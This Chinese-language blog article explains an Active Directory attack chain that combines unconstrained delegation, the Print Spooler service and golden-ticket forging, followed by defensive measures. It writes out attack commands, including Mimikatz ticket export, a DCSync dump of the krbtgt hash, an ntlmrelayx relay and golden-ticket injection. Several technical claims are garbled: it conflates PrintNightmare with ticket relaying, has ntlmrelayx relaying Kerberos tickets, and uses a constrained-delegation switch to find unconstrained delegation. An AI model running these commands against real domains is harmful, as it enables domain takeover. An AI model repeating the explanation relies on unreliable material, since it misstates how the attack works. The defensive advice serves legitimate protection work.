logo

深度解析:非约束性委派+Spooler服务在黄金票据攻击中的应用

作者:Nicky2025.09.19 18:14浏览量:0

简介:本文深入探讨如何利用非约束性委派与Spooler打印机服务漏洞,结合黄金票据技术攻击域控制器,揭示攻击原理、操作步骤及防御策略。

深度解析:非约束性委派+Spooler服务在黄金票据攻击中的应用

摘要

在域环境安全攻防中,利用非约束性委派(Unconstrained Delegation)与Spooler打印机服务的漏洞,结合黄金票据(Golden Ticket)技术,已成为攻击者渗透域控制器(Domain Controller, DC)的高效手段。本文将从原理、操作步骤、防御措施三个维度,系统阐述这一攻击链的构建与防御方法,为安全研究人员和企业提供技术参考。

一、攻击链原理:非约束性委派与Spooler服务的协同作用

1.1 非约束性委派的核心机制

非约束性委派是Active Directory(AD)中的一种信任机制,允许服务账户(如计算机账户)代表用户访问其他服务的资源。其关键特性包括:

  • TGS请求无限制:被配置为非约束性委派的服务账户,可请求任意服务的TGS(Ticket Granting Service)票据。
  • 票据缓存风险:服务账户会缓存用户的TGT(Ticket Granting Ticket),攻击者可利用此票据伪造身份。

示例:若域中一台计算机(如DC01$)被配置为非约束性委派,攻击者可通过该计算机获取域管理员的TGT。

1.2 Spooler服务的漏洞利用

Windows Spooler服务是打印机功能的核心组件,其存在以下安全风险:

  • 权限提升:通过Spooler服务可执行本地系统权限的操作(如Print Spooler漏洞CVE-2021-34527)。
  • 票据传递:结合非约束性委派,Spooler服务可作为中继点,将TGT传递给域控制器。

操作逻辑:攻击者通过Spooler服务触发非约束性委派,获取域控的TGS票据,进而伪造黄金票据。

二、攻击步骤:从委派配置到黄金票据生成

2.1 环境准备与信息收集

  1. 识别非约束性委派账户

    • 使用PowerView工具枚举域中配置非约束性委派的计算机账户:
      1. Get-NetComputer -TrustedToAuth | Select-Object Name, OperatingSystem
    • 目标通常为域控制器或高权限服务器(如DC01$)。
  2. 定位Spooler服务

    • 通过端口扫描(如445/TCP)或服务枚举,确认目标主机运行Spooler服务:
      1. Get-Service -Name Spooler | Select-Object Status, Name

2.2 触发非约束性委派

  1. 诱导服务账户缓存TGT

    • 通过社会工程学或漏洞利用,使目标用户(如域管理员)访问攻击者控制的恶意服务(如HTTP服务)。
    • 恶意服务配置为非约束性委派,接收并缓存用户的TGT。
  2. 提取TGT票据

    • 使用Mimikatz从服务账户的内存中导出TGT:
      1. Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'

2.3 利用Spooler服务中继票据

  1. 构造中继攻击

    • 通过Spooler服务的漏洞(如CVE-2021-34527),将TGT票据中继至域控制器。
    • 使用ntlmrelayx工具实现中继:
      1. ntlmrelayx.py -t ldap://DC01 -smb2support -use-ldaps
  2. 获取域控权限

    • 中继成功后,攻击者可获得域控的NTLM哈希,进一步用于横向移动。

2.4 伪造黄金票据

  1. 提取KRBTGT账户的哈希

    • 通过域控权限,使用Mimikatz导出KRBTGT的AES256RC4哈希:
      1. Invoke-Mimikatz -Command '"lsadump::dcsync /domain:contoso.com /user:krbtgt"'
  2. 生成黄金票据

    • 使用Mimikatz伪造黄金票据,指定域名、用户、SID和KRBTGT哈希:
      1. kerberos::golden /user:Administrator /domain:contoso.com /sid:S-1-5-21-1234567890-1234567890-1234567890 /krbtgt:a1b2c3d4e5f6 /ptt
    • /ptt参数将票据注入当前会话,实现即时访问。

三、防御措施:阻断攻击链的关键环节

3.1 限制非约束性委派

  • 审计与禁用
    • 使用ADSI EditPowerShell检查并禁用非必要计算机的非约束性委派配置。
    • 优先使用约束性委派(Constrained Delegation)或基于资源的约束委派(RBCD)。

3.2 强化Spooler服务安全

  • 禁用不必要的服务
    • 在非打印机服务器上禁用Spooler服务:
      1. Stop-Service -Name Spooler -Force
      2. Set-Service -Name Spooler -StartupType Disabled
  • 补丁管理
    • 及时应用微软发布的Spooler服务漏洞补丁(如CVE-2021-34527的修复程序)。

3.3 监控与检测

  • 异常登录检测
    • 通过SIEM工具监控非工作时间或非常规IP的域控登录行为。
  • 票据活动审计
    • 启用AD的审计策略,记录TGS请求与KRBTGT账户的使用情况。

3.4 最小权限原则

  • 限制管理员权限
    • 遵循最小权限原则,避免日常账户拥有域管理员权限。
    • 使用Protected Users组限制高风险账户的票据缓存。

四、总结与启示

本文通过解析非约束性委派与Spooler服务的协同利用,揭示了黄金票据攻击域控的核心路径。攻击者通过委派机制获取初始权限,再利用Spooler服务中继票据,最终伪造黄金票据实现持久化控制。防御方需从委派配置、服务安全、监控检测三方面构建纵深防御体系。

实践建议

  1. 定期审计AD中的委派配置,禁用非约束性委派。
  2. 在非打印机服务器上禁用Spooler服务,或通过组策略限制其权限。
  3. 部署EDR解决方案,实时检测异常票据活动。

通过技术与管理措施的结合,可有效降低此类攻击的成功率,保障域环境的安全稳定。

相关文章推荐

发表评论